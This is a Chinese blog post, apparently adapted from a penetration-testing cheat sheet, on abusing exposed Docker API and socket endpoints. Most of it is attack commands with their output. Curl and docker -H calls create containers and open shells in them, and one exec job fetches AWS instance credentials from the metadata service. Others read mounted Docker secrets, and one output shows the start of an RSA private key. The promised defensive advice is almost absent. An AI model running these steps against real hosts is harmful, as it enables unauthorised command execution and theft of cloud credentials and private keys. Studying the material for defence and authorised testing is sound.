滥用Docker API与Socket的安全风险深度解析

本文详细探讨了暴露Docker API和Socket的安全隐患,包括通过未授权访问执行容器命令、获取敏感数据、挂载主机文件系统等攻击手法,并提供了实际curl命令示例和防御建议。

滥用Docker API | Socket

关于滥用开放Docker socket的说明

本文不涉及从Docker容器中逃逸的内容。

端口:通常为2375和2376,但可以是任何端口。

参考链接:

启用Docker socket(创建练习环境)

https://success.docker.com/article/how-do-i-enable-the-remote-api-for-dockerd

暴露Docker API | socket本质上相当于授予系统上任何容器的root权限。

守护进程默认监听unix:///var/run/docker.sock,但您可以将Docker绑定到其他主机/端口或Unix socket。

Docker socket是Docker守护进程默认监听的socket,可用于从容器内部与守护进程通信,或者如果配置了,也可以从容器外部与运行Docker的主机通信。

所有Docker socket的魔法都是通过Docker API实现的。例如,如果我们想启动一个nginx容器,我们会执行以下操作:

创建nginx容器

以下命令使用curl通过Unix socket将{“Image”:“nginx”}负载发送到Docker守护进程的/containers/create端点。这将创建一个基于Nginx的容器并返回其ID。

1
2
3
$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create

{"Id":"fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65","Warnings":null}

启动容器

1
$ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

如上所述,您也可以让Docker socket监听TCP端口。

您可以通过版本请求验证它是Docker:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
$ curl -s http://open.docker.socket:2375/version | jq

{
  "Version": "1.13.1",
  "ApiVersion": "1.26",
  "MinAPIVersion": "1.12",
  "GitCommit": "07f3374/1.13.1",
  "GoVersion": "go1.9.4",
  "Os": "linux",
  "Arch": "amd64",
  "KernelVersion": "3.10.0-514.26.2.el7.x86_64",
  "BuildTime": "2018-12-07T16:13:51.683697055+00:00",
  "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"
}

或使用Docker客户端:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
docker -H open.docker.socket:2375 version

Server:
Engine:
 Version:          1.13.1
 API version:      1.26 (minimum version 1.12)
 Go version:       go1.9.4
 Git commit:       07f3374/1.13.1
 Built:            Fri Dec  7 16:13:51 2018
 OS/Arch:          linux/amd64
 Experimental:     false

这基本上是一个进入容器的shell。

使用ps命令获取运行中的容器列表

1
2
3
4
5
6
7
8
9
docker -H open.docker.socket:2375 ps

CONTAINER ID        IMAGE                                                                       COMMAND                  CREATED             STATUS              PORTS                                                                          NAMES
72cd30d28e5c        gogs/gogs                                                                  "/app/gogs/docker/st…"   5 days ago          Up 5 days           0.0.0.0:3000->3000/tcp, 0.0.0.0:10022->22/tcp                           gogs
b522a9034b30        jdk1.8                                                                     "/bin/bash"              5 days ago          Up 5 days                                                                                          myjdk8
0f5947860c17        centos/mysql-57-centos7                                                    "container-entrypoin…"   8 days ago          Up 8 days           0.0.0.0:3306->3306/tcp                                                         mysql
3965c004c7a7        192.168.32.134:5000/tensquare_config:1.0-SNAPSHOT                          "java -jar /app.jar"     8 days ago          Up 8 days           0.0.0.0:12000->12000/tcp                                                       config
3f466b754971        42cb59080921                                                              "/bin/bash"              8 days ago          Up 8 days                                                                                          jdk8
6499013fdc2d        registry                                                                   "/entrypoint.sh /etc…"   8 days ago          Up 8 days           0.0.0.0:5000->5000/tcp                                                         registry

进入其中一个容器执行命令

1
2
3
4
docker -H open.docker.socket:2375 exec -it mysql /bin/bash

bash-4.2$ whoami
mysql

其他命令

是否有停止的容器?

1
docker -H open.docker.socket:2375 ps -a

主机上拉取了哪些镜像?

1
docker -H open.docker.socket:2375 images

我经常无法让Docker客户端在执行命令时正常工作,但您仍然可以使用API在容器中执行代码。下面的示例使用curl通过https(如果启用)与API交互。创建和执行作业,设置变量以接收输出,然后启动执行以获取输出。

使用curl访问API

有时您会看到2376端口用于TLS端点。我无法使用Docker客户端连接到它,但您可以使用curl轻松访问Docker API。

Docker socket到元数据URL

https://docs.docker.com/engine/api/v1.37/#operation/ContainerExec

以下是访问内部AWS元数据URL并获取输出的示例:

列出容器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
[
  {
    "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
    "Names": [
      "/docker_snip_1"
    ],
    "Image": "dotnetify",
    "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
    "Command": "cmd /S /C 'dotnet netify-temp.dll'",
    "Created": 1541018555,
    "Ports": [
      {
        "IP": "0.0.0.0",
        "PrivatePort": 443,
        "PublicPort": 50278,
---SNIP---

列出容器中的进程:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
 {
  "Processes": [
    [
      "smss.exe",
      "7868",
      "00:00:00.062",
      "225.3kB"
    ],
    [
      "csrss.exe",
      "10980",
      "00:00:00.859",
      "421.9kB"
    ],
    [
      "wininit.exe",
      "10536",
      "00:00:00.078",
      "606.2kB"
    ],
    [
      "services.exe",
      "10768",
      "00:00:00.687",
      "1.208MB"
    ],
    [
      "lsass.exe",
      "10416",
      "00:00:36.000",
      "4.325MB"
    ],
 ---SNIP---

设置并执行作业以访问元数据URL:

1
2
3
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}'

{"Id":"4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55"}

获取输出:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'

{
  "Code" : "Success",
  "LastUpdated" : "2019-01-29T20:12:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATRSNIP",
  "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
  "Token" : "FQoGZXIvYXdzEB4aDCQSM0rRV/SNIPSNIPSNIP",
  "Expiration" : "2019-01-30T02:43:34Z"
}

Docker secrets

相关阅读:https://docs.docker.com/engine/swarm/secrets/

列出secrets(没有secrets/swarm未设置)

1
2
3
curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

{ "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}

列出secrets(存在secrets)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
$ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
[
  {
    "ID": "9h3useaicj3tr465ejg2koud5",
    "Version": {
      "Index": 21
    },
    "CreatedAt": "2018-07-06T10:19:50.677702428Z",
    "UpdatedAt": "2018-07-06T10:19:50.677702428Z",
    "Spec": {
      "Name": "registry-key.key",
      "Labels": {} }},

检查挂载的内容

1
2
3
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'

{"Id":"7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa"}

通过启动exec获取输出

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'

overlay on / type overlay 
proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
---SNIP---
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)
---SNIP---

查看挂载的secret

1
2
3
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'

{"Id":"3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30"}
1
2
3
4
5
curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'

-----BEGIN RSA PRIVATE KEY-----
MIIJKAIBAAKCAgEA1A/ptrezfxUlupPgKd/kAki4UlKSfMGVjD6GnJyqS0ySHiz0
---SNIP---

如果您有secrets,还值得检查服务,以防它们通过环境变量添加secrets。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
curl -s --insecure https://tls-opendocker.socket:2376/services | jq

[{
    "ID": "amxjs243dzmlc8vgukxdsx57y",
    "Version": {
      "Index": 6417
    },
    "CreatedAt": "2018-04-16T19:51:20.489851317Z",
    "UpdatedAt": "2018-12-07T13:44:36.6869673Z",
    "Spec": {
      "Name": "app_REMOVED",
      "Labels": {},
      "TaskTemplate": {
        "ContainerSpec": {
          "Image": "dpage/pgadmin4:latest@sha256:5b8631
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计